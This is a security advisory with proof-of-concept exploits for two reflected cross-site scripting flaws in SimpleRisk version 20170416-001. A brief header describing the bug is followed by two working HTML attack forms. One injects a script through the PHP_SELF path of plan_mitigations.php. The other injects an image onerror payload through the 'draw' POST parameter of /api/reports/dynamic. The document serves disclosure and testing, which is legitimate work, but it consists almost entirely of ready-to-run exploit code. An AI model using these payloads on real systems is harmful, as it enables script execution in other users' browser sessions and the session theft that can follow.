<!--
SimpleRisk v20170416-001 Reflected XSS Vulnerabilities
Vendor: SimpleRisk, LLC
Product web page: https://www.simplerisk.com
Affected version: 20170416-001
20170108-001
20170102-001
Summary: SimpleRisk is an open-source risk management system released
under Mozilla Public License and used for risk management activities.
It enables risk managers to account for risks, plan mitigation measures,
facilitate management reviews, prioritize for project planning, and track
periodic reviews.
Desc: SimpleRisk suffers from two reflected cross-site scripting vulnerabilities
when input passed via 'draw' POST parameter and the 'PHP_SELF' variable is not
properly sanitized before being returned to the user. This can be exploited to
execute arbitrary HTML and script code in a user's browser session in context of
an affected site.
Tested on: PHP/5.5.9-1ubuntu4.20
Apache/2.4.7 (Ubuntu)
MySQL 14.14 (Distrib 5.5.53 for debian-linux-gnu)
Ubuntu 14.04.5 LTS
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2017-5414
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5414.php
05.06.2017
-->
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://192.168.1.72/management/plan_mitigations.php/'><script>alert(1)</script>">
<input type="hidden" name="currentpage" value="/ZSL" />
<input type="submit" value="XSS #1" />
</form>
</body>
</html>
=====
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://192.168.1.72/api/reports/dynamic" method="POST">
<input type="hidden" name="draw" value="<img src=a onerror=alert('XSS-251')>ZSL XSSed" />
<input type="hidden" name="columns[0][data]" value="0" />
<input type="hidden" name="columns[0][name]" value="id" />
<input type="hidden" name="columns[0][searchable]" value="true" />
<input type="hidden" name="columns[0][orderable]" value="false" />
<input type="hidden" name="columns[0][search][value]" value="" />
<input type="hidden" name="columns[0][search][regex]" value="false" />
<input type="hidden" name="columns[1][data]" value="1" />
<input type="hidden" name="columns[1][name]" value="risk_status" />
<input type="hidden" name="columns[1][searchable]" value="true" />
<input type="hidden" name="columns[1][orderable]" value="false" />
<input type="hidden" name="columns[1][search][value]" value="" />
<input type="hidden" name="columns[1][search][regex]" value="false" />
<input type="hidden" name="columns[2][data]" value="2" />
<input type="hidden" name="columns[2][name]" value="subject" />
<input type="hidden" name="columns[2][searchable]" value="true" />
<input type="hidden" name="columns[2][orderable]" value="false" />
<input type="hidden" name="columns[2][search][value]" value="" />
<input type="hidden" name="columns[2][search][regex]" value="false" />
<input type="hidden" name="columns[3][data]" value="3" />
<input type="hidden" name="columns[3][name]" value="reference_id" />
<input type="hidden" name="columns[3][searchable]" value="true" />
<input type="hidden" name="columns[3][orderable]" value="false" />
<input type="hidden" name="columns[3][search][value]" value="" />
<input type="hidden" name="columns[3][search][regex]" value="false" />
<input type="hidden" name="columns[4][data]" value="4" />
<input type="hidden" name="columns[4][name]" value="regulation" />
<input type="hidden" name="columns[4][searchable]" value="true" />
<input type="hidden" name="columns[4][orderable]" value="false" />
<input type="hidden" name="columns[4][search][value]" value="" />
<input type="hidden" name="columns[4][search][regex]" value="false" />
<input type="hidden" name="columns[5][data]" value="5" />
<input type="hidden" name="columns[5][name]" value="control_number" />
<input type="hidden" name="columns[5][searchable]" value="true" />
<input type="hidden" name="columns[5][orderable]" value="false" />
<input type="hidden" name="columns[5][search][value]" value="" />
<input type="hidden" name="columns[5][search][regex]" value="false" />
<input type="hidden" name="columns[6][data]" value="6" />
<input type="hidden" name="columns[6][name]" value="location" />
<input type="hidden" name="columns[6][searchable]" value="true" />
<input type="hidden" name="columns[6][orderable]" value="false" />
<input type="hidden" name="columns[6][search][value]" value="" />
<input type="hidden" name="columns[6][search][regex]" value="false" />
<input type="hidden" name="columns[7][data]" value="7" />
<input type="hidden" name="columns[7][name]" value="source" />
<input type="hidden" name="columns[7][searchable]" value="true" />
<input type="hidden" name="columns[7][orderable]" value="false" />
<input type="hidden" name="columns[7][search][value]" value="" />
<input type="hidden" name="columns[7][search][regex]" value="false" />
<input type="hidden" name="columns[8][data]" value="8" />
<input type="hidden" name="columns[8][name]" value="category" />
<input type="hidden" name="columns[8][searchable]" value="true" />
<input type="hidden" name="columns[8][orderable]" value="false" />
<input type="hidden" name="columns[8][search][value]" value="" />
<input type="hidden" name="columns[8][search][regex]" value="false" />
<input type="hidden" name="columns[9][data]" value="9" />
<input type="hidden" name="columns[9][name]" value="team" />
<input type="hidden" name="columns[9][searchable]" value="true" />
<input type="hidden" name="columns[9][orderable]" value="false" />
<input type="hidden" name="columns[9][search][value]" value="" />
<input type="hidden" name="columns[9][search][regex]" value="false" />
<input type="hidden" name="columns[10][data]" value="10" />
<input type="hidden" name="columns[10][name]" value="technology" />
<input type="hidden" name="columns[10][searchable]" value="true" />
<input type="hidden" name="columns[10][orderable]" value="false" />
<input type="hidden" name="columns[10][search][value]" value="" />
<input type="hidden" name="columns[10][search][regex]" value="false" />
<input type="hidden" name="columns[11][data]" value="11" />
<input type="hidden" name="columns[11][name]" value="owner" />
<input type="hidden" name="columns[11][searchable]" value="true" />
<input type="hidden" name="columns[11][orderable]" value="false" />
<input type="hidden" name="columns[11][search][value]" value="" />
<input type="hidden" name="columns[11][search][regex]" value="false" />
<input type="hidden" name="columns[12][data]" value="12" />
<input type="hidden" name="columns[12][name]" value="manager" />
<input type="hidden" name="columns[12][searchable]" value="true" />
<input type="hidden" name="columns[12][orderable]" value="false" />
<input type="hidden" name="columns[12][search][value]" value="" />
<input type="hidden" name="columns[12][search][regex]" value="false" />
<input type="hidden" name="columns[13][data]" value="13" />
<input type="hidden" name="columns[13][name]" value="submitted_by" />
<input type="hidden" name="columns[13][searchable]" value="true" />
<input type="hidden" name="columns[13][orderable]" value="false" />
<input type="hidden" name="columns[13][search][value]" value="" />
<input type="hidden" name="columns[13][search][regex]" value="false" />
<input type="hidden" name="columns[14][data]" value="14" />
<input type="hidden" name="columns[14][name]" value="scoring_method" />
<input type="hidden" name="columns[14][searchable]" value="true" />
<input type="hidden" name="columns[14][orderable]" value="false" />
<input type="hidden" name="columns[14][search][value]" value="" />
<input type="hidden" name="columns[14][search][regex]" value="false" />
<input type="hidden" name="columns[15][data]" value="15" />
<input type="hidden" name="columns[15][name]" value="calculated_risk" />
<input type="hidden" name="columns[15][searchable]" value="true" />
<input type="hidden" name="columns[15][orderable]" value="false" />
<input type="hidden" name="columns[15][search][value]" value="" />
<input type="hidden" name="columns[15][search][regex]" value="false" />
<input type="hidden" name="columns[16][data]" value="16" />
<input type="hidden" name="columns[16][name]" value="submission_date" />
<input type="hidden" name="columns[16][searchable]" value="true" />
<input type="hidden" name="columns[16][orderable]" value="false" />
<input type="hidden" name="columns[16][search][value]" value="" />
<input type="hidden" name="columns[16][search][regex]" value="false" />
<input type="hidden" name="columns[17][data]" value="17" />
<input type="hidden" name="columns[17][name]" value="review_date" />
<input type="hidden" name="columns[17][searchable]" value="true" />
<input type="hidden" name="columns[17][orderable]" value="false" />
<input type="hidden" name="columns[17][search][value]" value="" />
<input type="hidden" name="columns[17][search][regex]" value="false" />
<input type="hidden" name="columns[18][data]" value="18" />
<input type="hidden" name="columns[18][name]" value="project" />
<input type="hidden" name="columns[18][searchable]" value="true" />
<input type="hidden" name="columns[18][orderable]" value="false" />
<input type="hidden" name="columns[18][search][value]" value="" />
<input type="hidden" name="columns[18][search][regex]" value="false" />
<input type="hidden" name="columns[19][data]" value="19" />
<input type="hidden" name="columns[19][name]" value="mitigation_planned" />
<input type="hidden" name="columns[19][searchable]" value="true" />
<input type="hidden" name="columns[19][orderable]" value="false" />
<input type="hidden" name="columns[19][search][value]" value="" />
<input type="hidden" name="columns[19][search][regex]" value="false" />
<input type="hidden" name="columns[20][data]" value="20" />
<input type="hidden" name="columns[20][name]" value="management_review" />
<input type="hidden" name="columns[20][searchable]" value="true" />
<input type="hidden" name="columns[20][orderable]" value="false" />
<input type="hidden" name="columns[20][search][value]" value="" />
<input type="hidden" name="columns[20][search][regex]" value="false" />
<input type="hidden" name="columns[21][data]" value="21" />
<input type="hidden" name="columns[21][name]" value="days_open" />
<input type="hidden" name="columns[21][searchable]" value="true" />
<input type="hidden" name="columns[21][orderable]" value="false" />
<input type="hidden" name="columns[21][search][value]" value="" />
<input type="hidden" name="columns[21][search][regex]" value="false" />
<input type="hidden" name="columns[22][data]" value="22" />
<input type="hidden" name="columns[22][name]" value="next_review_date" />
<input type="hidden" name="columns[22][searchable]" value="true" />
<input type="hidden" name="columns[22][orderable]" value="false" />
<input type="hidden" name="columns[22][search][value]" value="" />
<input type="hidden" name="columns[22][search][regex]" value="false" />
<input type="hidden" name="columns[23][data]" value="23" />
<input type="hidden" name="columns[23][name]" value="next_step" />
<input type="hidden" name="columns[23][searchable]" value="true" />
<input type="hidden" name="columns[23][orderable]" value="false" />
<input type="hidden" name="columns[23][search][value]" value="" />
<input type="hidden" name="columns[23][search][regex]" value="false" />
<input type="hidden" name="columns[24][data]" value="24" />
<input type="hidden" name="columns[24][name]" value="affected_assets" />
<input type="hidden" name="columns[24][searchable]" value="true" />
<input type="hidden" name="columns[24][orderable]" value="false" />
<input type="hidden" name="columns[24][search][value]" value="" />
<input type="hidden" name="columns[24][search][regex]" value="false" />
<input type="hidden" name="columns[25][data]" value="25" />
<input type="hidden" name="columns[25][name]" value="risk_assessment" />
<input type="hidden" name="columns[25][searchable]" value="true" />
<input type="hidden" name="columns[25][orderable]" value="false" />
<input type="hidden" name="columns[25][search][value]" value="" />
<input type="hidden" name="columns[25][search][regex]" value="false" />
<input type="hidden" name="columns[26][data]" value="26" />
<input type="hidden" name="columns[26][name]" value="additional_notes" />
<input type="hidden" name="columns[26][searchable]" value="true" />
<input type="hidden" name="columns[26][orderable]" value="false" />
<input type="hidden" name="columns[26][search][value]" value="" />
<input type="hidden" name="columns[26][search][regex]" value="false" />
<input type="hidden" name="columns[27][data]" value="27" />
<input type="hidden" name="columns[27][name]" value="current_solution" />
<input type="hidden" name="columns[27][searchable]" value="true" />
<input type="hidden" name="columns[27][orderable]" value="false" />
<input type="hidden" name="columns[27][search][value]" value="" />
<input type="hidden" name="columns[27][search][regex]" value="false" />
<input type="hidden" name="columns[28][data]" value="28" />
<input type="hidden" name="columns[28][name]" value="security_recommendations" />
<input type="hidden" name="columns[28][searchable]" value="true" />
<input type="hidden" name="columns[28][orderable]" value="false" />
<input type="hidden" name="columns[28][search][value]" value="" />
<input type="hidden" name="columns[28][search][regex]" value="false" />
<input type="hidden" name="columns[29][data]" value="29" />
<input type="hidden" name="columns[29][name]" value="security_requirements" />
<input type="hidden" name="columns[29][searchable]" value="true" />
<input type="hidden" name="columns[29][orderable]" value="false" />
<input type="hidden" name="columns[29][search][value]" value="" />
<input type="hidden" name="columns[29][search][regex]" value="false" />
<input type="hidden" name="columns[30][data]" value="30" />
<input type="hidden" name="columns[30][name]" value="planning_strategy" />
<input type="hidden" name="columns[30][searchable]" value="true" />
<input type="hidden" name="columns[30][orderable]" value="false" />
<input type="hidden" name="columns[30][search][value]" value="" />
<input type="hidden" name="columns[30][search][regex]" value="false" />
<input type="hidden" name="columns[31][data]" value="31" />
<input type="hidden" name="columns[31][name]" value="mitigation_effort" />
<input type="hidden" name="columns[31][searchable]" value="true" />
<input type="hidden" name="columns[31][orderable]" value="false" />
<input type="hidden" name="columns[31][search][value]" value="" />
<input type="hidden" name="columns[31][search][regex]" value="false" />
<input type="hidden" name="columns[32][data]" value="32" />
<input type="hidden" name="columns[32][name]" value="mitigation_cost" />
<input type="hidden" name="columns[32][searchable]" value="true" />
<input type="hidden" name="columns[32][orderable]" value="false" />
<input type="hidden" name="columns[32][search][value]" value="" />
<input type="hidden" name="columns[32][search][regex]" value="false" />
<input type="hidden" name="columns[33][data]" value="33" />
<input type="hidden" name="columns[33][name]" value="mitigation_owner" />
<input type="hidden" name="columns[33][searchable]" value="true" />
<input type="hidden" name="columns[33][orderable]" value="false" />
<input type="hidden" name="columns[33][search][value]" value="" />
<input type="hidden" name="columns[33][search][regex]" value="false" />
<input type="hidden" name="columns[34][data]" value="34" />
<input type="hidden" name="columns[34][name]" value="mitigation_team" />
<input type="hidden" name="columns[34][searchable]" value="true" />
<input type="hidden" name="columns[34][orderable]" value="false" />
<input type="hidden" name="columns[34][search][value]" value="" />
<input type="hidden" name="columns[34][search][regex]" value="false" />
<input type="hidden" name="start" value="0" />
<input type="hidden" name="length" value="10" />
<input type="hidden" name="search[value]" value="" />
<input type="hidden" name="search[regex]" value="false" />
<input type="hidden" name="status" value="0" />
<input type="hidden" name="group" value="0" />
<input type="hidden" name="sort" value="0" />
<input type="hidden" name="group_value" value="" />
<input type="submit" value="XSS #2" />
</form>
</body>
</html>
